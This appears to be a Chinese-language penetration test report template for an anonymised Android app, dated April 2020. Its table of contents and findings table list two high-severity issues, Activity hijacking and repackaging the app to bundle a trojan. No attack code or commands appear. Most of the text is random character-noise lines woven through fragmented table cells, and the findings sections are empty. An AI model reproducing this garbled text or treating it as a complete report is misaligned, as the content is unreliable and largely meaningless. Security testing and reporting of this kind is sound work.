+ U9 h# ~2 G/ I3 Z9 E
. {. z4 |) P4 o! w
+ t- a5 Q5 F! _' D2 ?
9 [ ]/ r4 U* Q/ ?+ S
$ @/ I! u- R* N! |$ c1 {
2 d2 u! Z* Z/ w
* Q% ? Y6 ^/ I% w% P% u
3 `- P: q) U2 {8 Y9 A
7 l! A: l3 F2 h9 q
% S2 `2 }1 f% u8 A2 D1 c5 [
0 y8 S8 g1 {. p9 S$ Z9 }1 h. n# r# s* }
文档编号: , c' I1 K! w3 q2 H, C
& z7 M& ?) w0 P
, N$ A# y- v! m$ V' Z' v! r4 W
@+ v" c* t7 R8 Q, E$ Z: y+ c5 {) q - c$ |$ r# x+ R' e3 u* _, E) W
) j& U7 D' @9 n, d: N
! {$ e4 h: [( ^. E4 ^7 {2 R% ]: B1 o- x. }1 [& Z
! @' w, @; L! d7 F
7 f4 f8 b. M9 F; B4 C0 ~
) H: a5 B5 r: X1 f2 ]4 N- o& `. N+ K$ v" \) u
/ ]/ n4 y( n5 {4 l% `
( v- L H$ r, J: k; [/ s1 ?1 S
! u" u2 @7 C8 Q
3 m1 ]6 n6 ~+ X V! b3 [5 [
" [# W# D# Z5 m" h9 Q* L0 ^
5 k4 {6 D4 \$ _# [
( ?, U6 a/ |# q# d6 K& S: L, B$ K; |) U
) C* r8 x% D* q e7 ~2 \6 c' \: z3 u- I
4 X, N( B- |4 c* W- V w! V& {# @, j2 v$ c, ?" L
! q( [4 ~" b* J6 G" q8 p
2 ~* g2 O% {3 C8 k! i4 G! w
, C, G7 d z0 K( o v! E
! [0 d* n9 e$ Q; Y2 j' v5 [
1 i4 T0 N: z0 x( \8 D- w8 [
; f# r$ j; V3 {: R7 ]# Z2 K
, q+ j* D b4 Q1 G" {+ s# |1 N7 y3 a. \0 T
4 Z/ G$ _, y6 B) l: \0 R) L
; h N/ Y1 s) |! R
& u. I; D; ]8 ?
9 [. o0 X6 v: I- z- d' p+ f 某某某APP渗透测试
, B$ G: y+ ^5 ]1 F8 d! K% }. X$ t) ]/ ~ r' G: b2 J
6 j5 V: x: Q3 g8 g" Y' w1 A r
+ I" q" f9 }9 h1 e2 [7 n
0 h7 [4 F8 @9 }
# v' {1 M, Y5 `( F" E8 h
( |- m7 n5 R; ^2 t% ~; v- h' B8 G8 i9 Y: M! B; u* I4 z0 I
6 }5 n' H4 D9 H' V x4 S5 a
" v$ U- E- v* w, j# ~
8 G, Y9 g& C$ \8 ?/ |
. V% z# Y9 ^' Y7 K2 N$ {6 V) o, W
. b. ?; F$ X( I! [
3 l) k! D( a9 I/ z- M
J- G& e6 y! p# `, D
; M. j/ R Z' P9 e! E 2 H: y, D. N2 o, O1 T
' |# k3 D# u8 i5 I6 |/ P. r
6 |5 v; s T& ` m1 d
& B* l% f/ l$ g
6 d- M' c" J9 {9 B# m
+ e% n9 T2 p& V( F# M 0 L& C6 q) |9 R/ z/ `- k
8 T" L, v& }4 C2 W& o0 n
4 O, ]8 w. a* I: b2 G" }+ ?6 |
3 f& Y, a; I! a* H5 ^3 F* |4 N
/ h7 `/ i% E, _) X- x# E o8 D% J4 O: }- l" n5 ^
6 B" v- d9 Z2 M0 f: q+ ?
9 b# M( _4 z, D8 }7 ? 技 术 报 告 - m/ @9 [+ g8 d: f, I6 _3 }
$ r x. r. B1 |+ A6 h" O* `
$ i0 N. q9 O+ @' p
; C; M' G, s5 F
) ]+ o+ y! l5 c. t5 O/ t! e6 `. ]2 g% f3 T. n4 s0 u
; o$ Z5 K/ Y2 K' \
9 b1 k; |" U' R9 r5 ]3 A
" y; {3 u, ^4 X7 `
C' \! Q4 t& z0 B4 [ w 6 U7 Z7 A& S u1 {
( `6 Y2 ~; _: p/ w: H) [, @9 w
$ B2 m& l* N1 O9 ~+ E7 z0 I0 `
5 ^7 t; M2 v) j7 e- x
: N! o. D) W9 G% v
2 n9 `7 ~' Q& H, u
- |. Q( j# O `& L' {; d. v% {0 o* V& d$ a2 J; `
, u) f' v' s# I
' U4 A# w0 M/ ?
7 g. T( a) ?3 v/ F: M; @, A
4 ^6 j! E! o1 w% ^
) Y! ]2 }. Z- ]& Z5 [ H, ^
8 L1 n6 m% S8 K& j
0 {6 g% V O* y' ?3 A0 U3 z0 D
1 i- U4 u, v* e4 {7 [
% x+ R/ ?2 Y* D% Y# w* O
3 ^( z, n1 y3 u( R) @ m4 s
& m( D, Q; }, v& n& T4 ~; f
9 e8 j( S# D0 a. r8 X" ]/ W' O
8 H E8 U- N% i5 R8 J3 b$ J
! K* V" u5 w( o
/ } W7 N+ R9 Y h
' G8 Q" Z: Y, Q; P6 V
, o- j E6 Y. `0 G4 v1 E0 `/ r, w" q$ r/ g& p4 Y0 N0 z
* P4 h% y# |1 t1 {, k ]0 L$ }, P
6 O$ Y9 I( ~7 w2 A( Z8 _5 Z
& X+ t3 w* ~6 U( I* n# M9 P* W$ c0 E9 H C: ]: o, t3 o( i8 Q* k
m$ Y9 |8 H4 R L+ K% K" }
) K7 `! g7 `2 b' o P2 y 9 W+ ^* I" T1 b6 z) B [* z1 t
/ ~' p) X' ]& c+ u& b9 }
7 g2 B2 `4 J) ?: O
+ r( u1 F. z" i7 l/ J3 G! j
5 l' q3 X5 l L9 d3 l/ ], O- M. r! r# k8 \: e6 I3 }
6 S* g5 V# ^% L4 r& S
8 u$ |5 c1 S) p) D+ s
% |+ K4 z" a# {) K3 j. U. R/ \. g, P7 f) F
. z' D; }4 |8 E _9 `; L$ U
" k7 W, C" }& L" h( q: B
" b3 ^& _& @& ~8 E6 Y: r/ q) W( r 5 {, `) _6 j. Y' r% M6 N$ c
; u ~- K5 s& X& y9 }# S$ w/ c
4 W' ~2 k6 _( V' u2 `/ K- V7 \6 Y9 Q6 r2 ?! r* a$ T& L
9 c7 W' J" }0 S, m) U$ {
: [: F3 a' Q+ |, x0 n; ~ * \: `& C& k/ Z# T$ I& x9 P) M
9 k: i7 J) Y- l( D$ ?
( S* x1 P6 R4 h6 d+ o! ]) T" ]
) Z* r2 W" ]: l# {4 L2 k x 3 N% P9 \* j4 m
( m$ p3 U/ x `. ~ / {' `/ G# }$ o0 j8 U: j
& I" j) L! i3 `2 c* x& t: n
4 T! j @" s5 d# H9 L- U- E5 I! Z( K- Z1 f' Z: v ~
8 C# W1 \0 r( h4 B x
0 L/ G' @- d V- r6 ?/ T
7 N% m( r7 q* C0 K9 Z4 k* ]& K9 S K0 W' [% }
/ d% V: u$ w- P8 v/ w+ S- J0 D
6 k9 P6 M% b' L4 r% [ 4 m0 [7 d, A' K2 O g% O- P
* E% g1 @/ t9 M1 N ' J$ t6 k2 b' Z' P$ X3 b
0 Y" \6 U% }; R
- F& d) I- L+ z* R' f; G/ f
- u5 Q# _ l8 [% ?
; I9 y1 A( m9 e( h" N' w, {% Y" ^ W/ x
p" p, T& i4 ^2 o
' P0 J$ @! Z! q# a, d
% V; P3 T! e# m K
/ O. ^8 B2 o, W , b# [" y& W- w' [& f) q& B
( T( ~7 q" g, ?. ?+ {3 a1 \
( `/ s. {* J8 ]3 ]- f- o6 K( @6 U; M6 | K7 Y
- W$ U$ l4 I$ r# W* Y* @
$ `$ F: ]" [! _
# [) B8 m1 |! `3 d+ ]% R6 j( b8 l2 v6 ]( {
D; N; Y" _! l' {+ `: r
( S& \( j) z. {
6 \5 d6 j! _3 Q X( |0 p1 \
) e5 I) q, ? S d1 R ' _" h* k- E6 @# C- } v z
. Q r1 ]$ |) U7 G0 Y4 ]. M) `
3 v4 d/ P+ C; u4 r
: \! ~ ?( L; P' B0 Q( k; D: j
3 d; \6 `+ G" L/ A/ X, D! I+ D# i
- S* h6 h$ k6 J( C; I5 }" l( L M
1 l& L3 ]& M. ~1 U* o/ C6 r4 ~" e& t9 N
! B& I& K0 R% G: |, x
8 B+ }/ v7 i9 a- Q! d7 u
3 w7 t/ F U$ u$ e% u* ?0 ^$ A/ C# x M7 h5 ~
/ ]7 W6 z! v2 |- ?) Y1 o
6 m9 {* \. y7 ?: \ 二〇二〇年 7 W+ q3 ~, ~9 c- h# y
. ?0 G" X9 D( x" o
+ F; Y, B4 x% A @; F
' @& g- K9 r) V' V& |
2 I3 w# @6 m" ~
3 R! ?. n( Q) P
# w9 r" ]- O- J0 [. Y5 L3 T
$ X$ z- o: ^) h4 Z* C, \ O4 k3 | 3 B' O' K# ^+ U* F& @8 o2 T+ i
l/ k$ J+ n+ B! }# t* J
; B; z# [" O' {' c; ]% a. o7 f8 m: Q
6 J4 P# k! w; ?+ _/ J: f! Z
1 W. I( Y( d, V/ r/ B
! d& e/ T0 o$ I) d
) P) A. A% C, S9 e. ~' L9 F! i B$ m0 R1 C' n3 m3 Y
T5 T' u" R8 A# Y" T
5 @9 o/ G3 e0 o0 y9 m& S& a% F" l5 T- J) M
- Y" R$ G) k% J, v" B# Z1 V* Q
. e5 A5 n1 v/ F0 u' z- H5 L 目 录 + @4 A* {; J' z! e! I- ?' h" d
# V1 \7 S' R- z$ P2 X
7 W% s6 Q( z" K& _
/ \+ r% V( c% u8 ~ % d! T4 c% _& J( E6 ~5 ~- m
8 j/ d9 G! h. R& D; s
# L, q' R* j S' h7 |4 ]! @+ o- d
5 d# x( T. x+ E E; k% @1 ?8 l
8 z* E! `" j! ^- c: ?( V) t( m! d- N$ l q, g
4 y$ K1 y) P7 W) |$ b5 [
2 P c" X. y- R8 t* x4 N: R ! k3 z: S8 X5 n! P2 L
9 O5 E$ ?9 I: h& u
1 概述... 3
3 }' n2 }5 c! { a% n
; A/ Z0 _' z1 Q/ Y, |
0 C+ E8 X( {5 X0 j& c( a! ^1 _2 ~' d
3 O' a% n7 z" W" m( u4 v2 W
; E. f6 |/ ^7 R& \" ~% L8 H! d) l9 b6 j6 X h) [& Z% u9 l7 O! i
1.2测试时间... 3
/ W; X& O7 o P% c c
1 b) o% X/ d% p& k2 R* [, C! I' \# ?
1 Z6 `. l3 L+ L$ g* ^, y
1 {$ C' R: f. h) N% _ ; I/ }0 v3 k) g1 H
1 W; d7 n: }- J$ |4 U2 R
1.3测试对象... 3 * x* R! |: ~. o4 z; J$ S
# D( c* [! l7 ]4 G0 F5 d# U" l
6 ^/ {0 `/ c: _' L. o, t
* k) J2 h: i5 ^. Z
. R* L# ^/ n. \. V) J. R1 [# b1 I" K2 J( d
1.4测试结果... 3 ) o: M/ F; ~& V$ X- W' x0 E
3 x3 z8 f% ^2 ~
$ O9 L2 M f2 z
1 C2 r) z% d/ F/ ^. ` O2 {4 ?
& u0 g2 N, c3 t, a
* f9 e/ ?* w' h, ? 2 检测结果... 4 $ @$ O2 ~: F# x8 ^% N9 t
) q( |* T; @% E
, h) z J4 m, \1 t" z, q% {; {
/ f9 B) s7 P: @" Y3 e' Y
, j% K+ I# k4 A# v+ [" N
6 c0 c! ^3 r" {4 L1 V, ^9 s( |2 _ 2.1 某某某... 4
. A: i- P$ a* q7 F3 Q, C. x$ ` z; c/ O# f$ f/ w7 j/ ~% W
& P* S. Q: D& @! B \: M( _) ^& h2 U0 j: _( q8 J5 u0 K2 X
; Z* d, u- g4 A, z7 @" }5 C0 @& s9 Q# m+ {9 |) }, ?/ e+ _7 {
2.1.1检测目标... 4 : \! ]7 {# G: O3 `3 x
- r9 U; S$ l3 b2 x+ ]
( x z3 t. D" s( y5 P0 {5 L: C) a6 m" s
% c x! Z1 t1 A! K3 m. t ?6 L ^' P; h3 g
2.1.2检测结果... 4 $ k; E3 w, V5 f$ o# e
7 e9 i# r9 @# u
8 b( f' I: I6 J7 L
. f9 N3 j4 y- i- t 1 k4 B# x) \ L0 s7 r3 n! g% L ?
2 v7 B3 F- I. H: m+ J7 t2 _$ i
2.1.2.1. 4 ' e/ B I$ K) I/ q0 S5 ^3 L1 o, C I, U
" @$ I; o3 ^. w4 V: N8 n4 F
& t4 ~6 Q, G: s: Z0 v: b, Y! T9 O: U Z
1 `- V3 o' ?! V J, S4 Q. j 3 v2 f% n; a- `7 l
5 a; L! p2 w) A* I9 R 2.1.2.2. 6
3 y3 Q( Z0 H3 s* I& M' h7 D" g, x) V& h1 }
9 D, k3 Y7 w _) y+ v2 l) t, d2 s5 q% y% H! o- c8 x3 J
b8 u6 @2 e6 s! B1 P; z4 S* |0 W" o% U/ }
; C# ^+ n, R1 b9 k. g
) O6 L: ]+ M0 `5 ~* }* E' ^
' m1 d8 Y/ K0 u- h9 Z4 `+ R' F
' ` r' z0 f+ {) P4 y: L
* B: T- k: \$ `; {
" g6 R" O4 j. F( R 4 X- c6 X' I0 f$ l2 N
! D# B" A& m& ~, j Y( a6 W3 b
4 B3 p4 i* Z3 a4 @5 g. w5 X# S% k4 O
( s9 L' G# T) p: C7 b3 |
5 Q0 X& R ^- f1 T: I6 u, |
5 |4 U0 M# \. F0 h6 i/ E+ L" k( i
9 a8 R8 \# j' D5 m& A/ X; V# L6 V 1 概述 B- \- Q1 B+ n( G+ Q( }' a
/ h) D1 a5 W& y+ e
4 N# z$ L! [6 Z3 x: S0 E
5 f' [' q* i4 \ X: M ( f L2 ?6 K2 d! G3 c# d' {
: s' ?+ h& p* j$ J( ?9 z! y
1.2测试时间 " t/ K" `) t+ y' Y: M3 M3 @: r0 o
" U ^9 W4 ^ Y% v' h& f5 n- [9 ~. D
0 u5 z* S3 u7 @2 a1 g2 K1 W9 |: l6 c9 U+ d
3 F# [1 Q# C7 f1 y1 `
4 j+ Y& T: o3 N5 M: O7 }0 r ( l7 T5 ]: k9 F4 K& o
8 r$ o5 t8 q- {: a
* ~. l/ B0 D5 ]$ t% Y. n
2 h2 O; S0 p3 H2 i& n
8 x6 y+ z) j O& H
( g- \$ X1 [( ]2 Z# i* S , T5 h ]$ Y/ P5 m
0 {. X5 \+ u1 H 渗透测试时间 2 ]7 [, |# H! h" z0 |1 a4 m" g
, n7 h4 R# x& N/ S ( N% F( B- K( i' K# K
, h; ~* R" e# a& I9 _9 b% `: W |
. _9 e" w: ?% ~& }
! [' d$ ^7 C u: q5 d% y/ F
4 `: G5 I$ ?! Q I% N
# ~0 q' }7 j7 l1 V0 o$ n
. ]4 w7 q; V0 {4 F; k, s9 p$ t
5 o6 p1 {, e8 s - K0 | E7 R7 D$ e# ~
n" t4 ~7 {1 m1 I# J# X 4 _7 v( R/ @6 m+ J$ l
! r2 C$ s6 T3 ~. q( V/ b
起始时间 2 D8 V! c2 C0 P5 p
$ ?7 V- s, v( Y+ m) V' {* d 4 l+ \# c' G+ ]0 R( n! |3 _$ n
* s" h h/ S! U9 q
|
- N1 a. `. g& x8 `" Z
/ F8 h& K$ i3 ~! a4 L% t% x % U3 ^! L% ] W( E' E
$ L: [3 C6 d( k; \( r
: _( |: h& Q% [$ v- w
+ |! X$ t7 m5 s& E3 U, s0 U8 f 2020年4月6日 ( p. V7 K0 e+ ]' e/ y
2 ?6 c5 R$ G, I$ B1 Y
& }1 u. ]- }$ Y' P- [ F: h9 K3 @
s- }8 B2 a( h' E3 o7 o |
& Z9 e! _% M6 r8 t
9 N5 K8 ~1 s1 g5 u
, h5 ] d- [ b* n7 u8 D" P
* x/ Y3 g/ K- ~ 0 k' u: E1 }: d2 z/ S; B ]
1 A3 X, W7 L5 p 4 X' a1 b6 L/ ], ~9 i! D* X
+ k+ w! y5 P8 I6 k. I+ @
% E8 k: ^, x% e7 R* {8 E; ^( E% t: c! }6 c3 p" q8 _4 U
结束时间 0 s" L" U. a% i; z% F8 k! ]7 n2 U
8 r* a. K! O/ U8 O 7 s: B/ s5 D; h* y7 s4 G
9 ?! l. l F5 C {
| 5 N" ]9 ]' M5 ^. u0 A9 j ~2 |# K: P
; t6 X, W- `, X! M5 [% f
$ \& k. `* N1 S2 J3 q+ W5 P$ J4 q
8 G/ e4 L7 T8 ~% z( g & H. \0 k/ L" y q& {* E2 @
l; X S* W' }9 v+ Z l. M 2020年4月9日 6 l: s& i7 _0 k6 {
' k3 T$ p8 ^" _! q
& @* ~0 P( a" K5 C* i$ [0 \
' W# [4 X. ~+ M- e |
4 r; E* {! |8 \! ]. z
! O8 w( S) Q7 q3 w
8 W9 F; u. m3 B. M; M, v
; |4 z( t8 E( A, w8 e9 r1 A. A+ F& Q0 c 3 s' d" a7 O* ~( Z7 D; |
$ i, w* m1 R7 ^$ Q. t C
; K. R$ D v) r2 D& t6 s6 ]* @3 x. t/ `
. D6 E6 f; ~% b
. _+ B8 D7 L% d$ n) a, J- m
1.3测试对象
8 M/ p( Z+ F2 p8 K1 }$ v) h+ |1 \5 i7 J' p$ `
" l+ o+ G4 k. Q( {+ f+ p$ m
& P/ s5 f8 I1 A2 F4 ]) N+ _4 X2 {4 I
/ L8 }- u7 n/ X
# M1 ]% i: W6 U/ d 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: * ?5 j: i5 e1 s z
! m4 O0 d, I' h& \5 B" M
# U# X, _: X" q6 F4 b5 ^9 f. R
% v9 y$ `4 B1 V4 M1 ]" x x 9 v' h& S! p9 Y
4 n2 ?9 \* c4 n3 O 表1-1 检测对象
/ E+ _( a7 V. A& o" Q( Z$ x1 W
3 t, H* m! O4 x/ H$ G ?
% j$ F c A8 a- t; J) Y0 w6 |$ L C+ D: S: T
2 T! h( j6 D6 w1 e: u: h9 h" r' W1 [$ h5 K0 l" o
: M8 p$ m+ N8 \& \ d4 v$ x8 H& p
8 z5 [! f9 `. V
' p5 a/ m* v0 s* m2 ~5 p" A4 |1 V% }, `
$ H0 W0 l5 d7 w. _ {+ i+ o" l: T9 C% M; H( ]
$ L5 o( N( o% h& J* q& T
9 h5 [! { q3 [* c( G- | 序号 ) E8 h5 J) a- y* N5 H
/ A0 C4 s e# v
- O# [' D+ H. P: r8 G! k; |& _# f# F3 B- i2 V3 O
| # T- ~/ Z# Z5 J& M/ Y! [
- G% M+ Q5 t a# {) _! u
0 \2 R e+ ]# A) G3 n# j9 B" X% w4 P6 O) _
& q( c% Z4 k' U8 B- U: j- y% L$ c% I8 z: Y1 r
测试对象 8 O4 ?2 ~ b- ^$ q3 b1 H7 Y+ Z4 P: M% Z8 Z
1 l0 ^) t$ g, \
! \& ~& \* [" b( W4 C: X0 i: {8 K9 v
6 h3 u, x8 w& g+ v5 u( s | 2 B! f/ y" R1 u/ V. [8 ^. o" `" ~
+ }. _% B3 x9 w. T) ^- @- d
6 \! K- o/ @3 d& b) c
: C( G$ D. |) s+ t* B2 L 2 b; `/ r# Z9 G4 F' C
5 E/ B4 P/ C9 R' V. d: I+ k 测试地址
! l+ X4 d: L {: J/ ^8 j" }: |+ H5 l. G' [7 @+ [1 {
" }/ g* S0 x0 l$ J7 B' I8 s
% T$ x6 D0 j9 f+ ]( Q3 ~
| 1 }9 x; o: t% i
7 X4 i% C9 a' `4 L% ]1 h
& j" q( s+ M7 S% y
; w$ _+ R! B6 d9 R8 J5 `
+ ~( m1 j6 [' E) V* K; l( d+ H7 g
$ E+ B9 P5 L' o v& d6 v8 C7 c
安全漏洞
; @3 I# {. Z. g& l+ H! i* T. M5 [' `0 }; g8 A( R3 C$ K" l1 a! @
( Y; N5 S" o5 ^6 P* m, E- K; a
5 [* z2 e: |; l |
, {# g9 d, G# D% R) f/ ~1 |: C8 r6 A' _+ M' ~! r. Q5 ~% Q
7 ?# c+ L# _, Z# B
5 S N7 @, D/ S- m 1 ~5 l' b& x" ]: k, d
w% A S. V6 G- D% j9 @& I6 Z& V
) `+ M, I9 B0 u( U
) p$ l+ m" t3 F1 a5 B; L
! ^5 L7 b( R6 q6 {$ a7 d" m0 a. P: `7 k' m! y
1
4 p1 Q* a! p9 o& j6 A
8 R7 Z' z! l- d( P - i4 E# e& z( l7 W
. A0 ^5 B* E+ ~
|
7 H. `- D: g2 g# F: p) d. _4 s: t# `: |4 {4 o& W+ R. S
% M; v) L3 n! ^' e0 @0 L0 q
. e* ]* ?9 m/ l1 q+ b8 z: d
4 _ `2 s! B/ x" M7 M/ j$ X" i9 K# d7 S3 g2 M
某某某安卓APP
+ N8 ~. O/ R6 y' {, J" j
' i" Y1 X/ V E ; f: ~" l2 ]5 M4 x0 e4 Q' _% w) N) m
6 d, F5 }7 K! n1 {7 C | 6 g3 ]2 V0 g8 y$ t+ K! _
* y' Z0 ^9 C! ^' t9 b
4 i3 W( _* e+ G
9 ^; w" A5 R4 w* u' E& l
3 e( e- ^# O9 I( ^, B+ n7 e' m6 `, q+ c+ L; i) \/ ^4 u9 e( B
1 k# X4 [) M( s
7 `# n; b3 {" d: J, I C/ _ j
7 h. l- h: O" ]4 |; a" R& G7 y7 o
: D6 @% ^* D( v: |4 f/ x |
' \# G* { K7 t# w" f F) o, N0 X7 z: F0 ]/ T- V' a/ s
+ d; }/ A2 y* `7 {. P4 g- m+ ]* b
. P0 S7 Y; \' \9 {
) N' D( t8 J1 q; j9 O7 T: N
( Q/ n* ~0 M$ x2 Z 2
6 \1 s% x0 N5 ]1 h: @
1 L9 }( R% M8 A/ N! R
) H6 S& Y' t! z) O/ k' P$ W$ E" N1 D; o2 d
| % c% U& s$ m- X
$ T9 B6 O) J" S
. v& ]: q- d- }: g; z- ~ i* @1 |, O7 X
* T# ? ^5 S& [- X7 d
. F$ p4 U6 @5 [+ u E
& P& G+ ?2 j# N/ i
$ s1 ?3 h; r+ F$ p
4 F- K% C& H) L/ L
5 w% V7 t$ N5 y% X1 i- D, D @
1.4测试结果 2 E% u5 j. I% I6 i- P5 q
, Z' B5 a `$ K( ]' K
3 C. b; l: |' R' i+ I
6 |4 m- \3 K- f2 g+ G5 i
" m. z: t3 x3 N1 J
1 j- k1 w. O5 p1 g6 F/ ^( S! D* L6 U 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
4 K m' r" c4 C e' a% Y
; a( }( n6 u+ X
, U" x7 O3 Q" A" u# N/ B
8 V. D/ g' W* y* I6 y, n" p. \ - c( G/ l/ e1 k1 O8 p. p9 H& J
# T3 [9 c4 {4 A1 x
$ o9 m# {. t) U. _4 d. g! W' g: D, z' b0 {. [2 b$ H5 ?
) H# l5 a4 a. R, J3 l
2 I3 L( H+ Q8 q* M; t$ I3 s% A: t
& }6 P4 @; Q; J, Q* o9 ~2 V7 m. x' F& r6 v; I4 p! z1 Y% o
9 r( i+ Q- E' M
9 T( |8 y+ W- @1 x ) S9 ] W8 a# o( X6 z, Z- w d0 B
5 a0 }" E3 J. }+ V+ Y+ u3 { $ U3 v( G1 u3 W* a5 I' X( S- e
6 b+ J. w: T. }0 L
8 R; ]7 ?+ e, C0 b4 ^% W) [5 C" D+ @- e3 m7 [% z
% d6 x0 M% M/ K$ Z
5 C1 u e9 ]$ V 序号
7 c: \, ^/ \+ Q: _1 I0 p" E9 R. h0 {* T
. |! N q2 ?! g. j' O* ]: D6 u
2 r& B+ u$ N' Q2 g8 x7 ]) t2 A
|
! i& ~2 r! } G! B3 D
% _! \3 T! s+ | 1 q, e% w* H( I# Y
; U8 e5 v3 d- q& P; q Y* ?
5 M; p& `9 T% \4 r9 f% \
+ v+ W, d+ @' K5 Z+ E/ A 系统名称
: ?' v- B5 t( _) j' o0 ?4 i4 X1 w
( ^5 p+ h w. p% q4 W
; s7 z) u" Q; N1 E& d5 d2 m% t4 R( B& P' ~% `
| + j% U" i4 l" j% d
3 Q* d' T# B2 ?" e* w $ v8 ]; H; k' ?( j5 g1 @! T: K$ b
& w. s5 d9 D4 i+ e
) ~* ]$ B) p2 }! f5 j: _8 |$ k N6 N& D! \+ h0 l/ v) A' `
漏洞名称 % A. ]+ }8 J, M1 z) v$ u
5 g$ l; ~0 w, X3 e! J" N
+ r. j& v0 N1 J u) R* ~( G& _6 d; I- k
|
. o1 | W/ O- x- J3 l
7 n0 V( f8 ?& a# K# E9 V7 c 7 }5 g) f- E0 U$ [
* L" D2 P+ L+ w. |
( O/ [5 J1 E. _" L6 P& `% h
2 T, n1 j6 z0 `' m$ Y2 k* [3 E
漏洞危害
7 F* t: I% C7 ]7 J: G- K
- S; j3 y6 C% x# Q8 A' W" f" q
7 b: R7 d+ m1 O' f; g
! [( k7 a# R! z; D8 z' N9 { |
" N: h! e8 W& O' g. B9 F6 K# k* M
# D8 R' c e7 B3 B6 ]- X9 D- | ; l6 e; G& }" w' }7 P
, A. L8 M0 k: \; W( h
' z% J8 @2 r4 W8 U5 W
* [0 e0 o3 k4 V" G+ ? 修复结果
* \7 A$ V) m9 L. Y" T3 |/ ~/ g# V/ l D/ [
# U4 }; }4 g' C0 y' Z
0 b1 U' Y' V' V0 G* R/ d |
+ l4 F: }5 I. f0 x) d. e" K6 F- J7 \6 O% R( m" F9 I+ C0 E% d, Y a
6 A8 B2 I: l8 Q+ h/ U2 p- _, X# K
& I. W1 J2 q3 R6 B4 R% a- I% S % _) x4 w: b, t( N
+ D9 H/ g0 Y9 X: E- r8 Z" D" Y
/ a% R: {) B$ b' H& @# P7 Z8 R2 J" g' L8 j p4 s3 _
' @& Z2 m+ E. y# E3 q. Y; h
- y Y0 r0 r# ~; J4 H
1
$ g( F; K. d! X* P- \1 Y$ d* @ i+ c6 s U
7 n$ b$ r$ b( w! ?" g4 @
4 p$ l6 H; G- m6 t |
7 P/ \$ C" l3 j5 V* j$ g6 t1 k+ O% G5 t1 V, y8 x1 @ |# |: T
( i: Q- m0 t0 [# B+ O; Q) v* J8 }9 ?
+ M* K% L# Y2 T' j+ m
/ f. t" Q$ h& t8 B0 G0 C& o 某某某某某某APP
' ]0 F8 v9 s! x+ P2 D# n0 X
# Z' a8 h2 O; w/ j0 j / ]3 Q L0 _- o- V9 i- q
4 f4 U& \7 T* R3 k, J% C% s
|
. i. i' ?. o8 \6 n6 e3 s b# c; m% \3 w. @- @2 J8 `. D
9 Q' ?) ^0 ?( L$ B
+ x8 c! q% k- r' ]3 y0 F' c, \# W
( Z$ Q9 g! O- a0 V0 W# A& L
) [0 G8 E9 V2 Q& q7 G7 B$ M Activity 劫持
' g# P9 k( _* M$ ?
/ r5 d$ G9 X& D0 ]* a) ]* g
+ u2 u. l0 _% |7 i
& e$ i7 T+ @$ w7 g) ~/ M . V7 j1 i9 P* o# ?) X; Y' {
/ C" {2 L: q4 w/ T+ R
! }5 h, K# L4 y |* `1 d& ?& [; n8 G q( g- S y* u& w1 x
# i* J$ i- k7 J( e5 d( I& v/ R6 v
( {+ \! G+ i3 j: |: S
| - ?% J" y" R. D6 c
; Y$ E) y/ r& X; h. b5 G* t! }
3 o, n/ A* }6 r. o9 \
" I3 s& p9 z7 S ' F6 o. { |& O' N, b
! @$ K3 j2 @7 X( E9 p1 _$ V 高 7 u0 E' t3 q+ o
! K' y/ G( F2 `# G* H8 E
: \% r4 B! @' g5 n2 x$ R* [$ o7 X4 a
| ) j% [5 @& Y0 C5 \, u
% S! x! R/ R6 ^3 J
3 E, b) _/ T1 q- O% n* z: z
7 S3 X. v* w+ H( Q8 O
# J% _, H/ k, \+ L9 _- r4 t- A6 [
& G/ a) J, S) G$ i- Y6 Z* h( `
0 ~4 T% e4 H; Z+ ~ 4 ~4 }8 v/ {' i- \$ O
; q- J( [% h! ]% a9 ?, W! E/ Y | 8 P: _; m% b8 j- w& J
& y) E' h& ?0 R
9 p; v" \/ n0 e. \% { ?3 _
7 }- _$ q6 [0 D) _9 {
7 b( C$ w; V0 e7 r3 |3 g$ U0 J1 Y6 T0 z. i
) S7 [* ]4 C0 O2 V, R) e+ T) H- A: \9 `! b. U+ {$ }1 M
% ]! p. n- Y1 \. U+ M* P
$ L2 r) X, v) x9 o! p) R/ X% k 2 ( y$ Q+ o+ m; {+ U* t2 D8 J% {/ k4 ~
% S. P* P) e C+ G
- ?$ V% L% T4 Q
0 |$ g+ _) J; X* x. n; S- ] }
| # l8 [3 h3 n& @; O! O0 `2 o
' t6 I/ C8 H: W8 |6 d& `+ v
+ y4 Y) f4 t/ O X1 b
8 Y! Q" R$ n/ c2 ?; L; w& S * b8 O1 J' w( `9 f2 k6 p
" M+ w4 M# G! c: B$ W3 j$ G/ }' p4 n
某某某某某某APP , O; O+ k C; s8 X# s" s- e
$ g+ o: S) O/ }8 t
* H& a8 @& Y4 o" S5 K
7 G+ @% G+ P6 Y7 V" z9 O& X$ l# v1 i- d: r |
; V- q8 b# ]% i& z% c! _" l! `) Q' l! J2 ~5 ]& m
9 N7 ]% y' y+ z0 f) i( K' |# @; V) w
% Z4 X- C v- x
3 W4 I2 A @# e% f0 {
反编译二次打包捆绑木马、篡改APP代码
% H5 `/ O- T4 R+ K4 S2 D' \- b0 M5 ?0 ]3 C7 T+ R" O5 E
& x; H' C. S- J+ A5 h# { y; C3 ?- k) J' C+ I- `( ^
|
" c4 G1 U0 K1 Y/ i: {
6 Y, a* g' d# I" c( P
* Y* [( @( P l* }: p. V" p% n" z, S- M- K: T" H) H+ _3 ?
" }" ] G; S3 e+ L- k) ^1 e0 U+ A* X
# [9 f, V& d8 Q( o9 {+ \7 a% I 高 / t4 h3 S! x5 b0 f& [& P
. z; f9 F ~$ t
6 }" B" d9 I! K
' J" ~$ q- {3 d2 g, |- c0 u' z
| / K/ R( o- n7 D) l0 x r9 l
& h! X4 T: J8 |+ |8 s
( W( s% e0 c( W# U" ?7 Q
' T# N- X1 _4 a0 X+ X- \ 0 w1 u& e- o8 N _( X0 ^# F
) j h9 T; p. s7 K% G : f! x9 k5 p; `2 {
0 t$ b! C) Y: z
! N! e* H( q$ C# Y4 w0 u z9 m, s4 Y
. y; b r6 B2 h/ Y; f5 c | 9 J( d1 [: E' G, E
9 d- O1 h! R+ [
2 U' I8 u Q& q4 ~8 j9 B
6 D1 @. M, B: E y7 F
+ S$ Y; W8 a5 U. p9 A6 `' s3 \5 U& d& d
7 {& j( U8 [( y% e, g( W
6 _% h, B; `4 W; `) k) W* m
0 P# F4 ^6 L; }/ U5 w# ]. s# ^/ L6 L$ g) P8 e
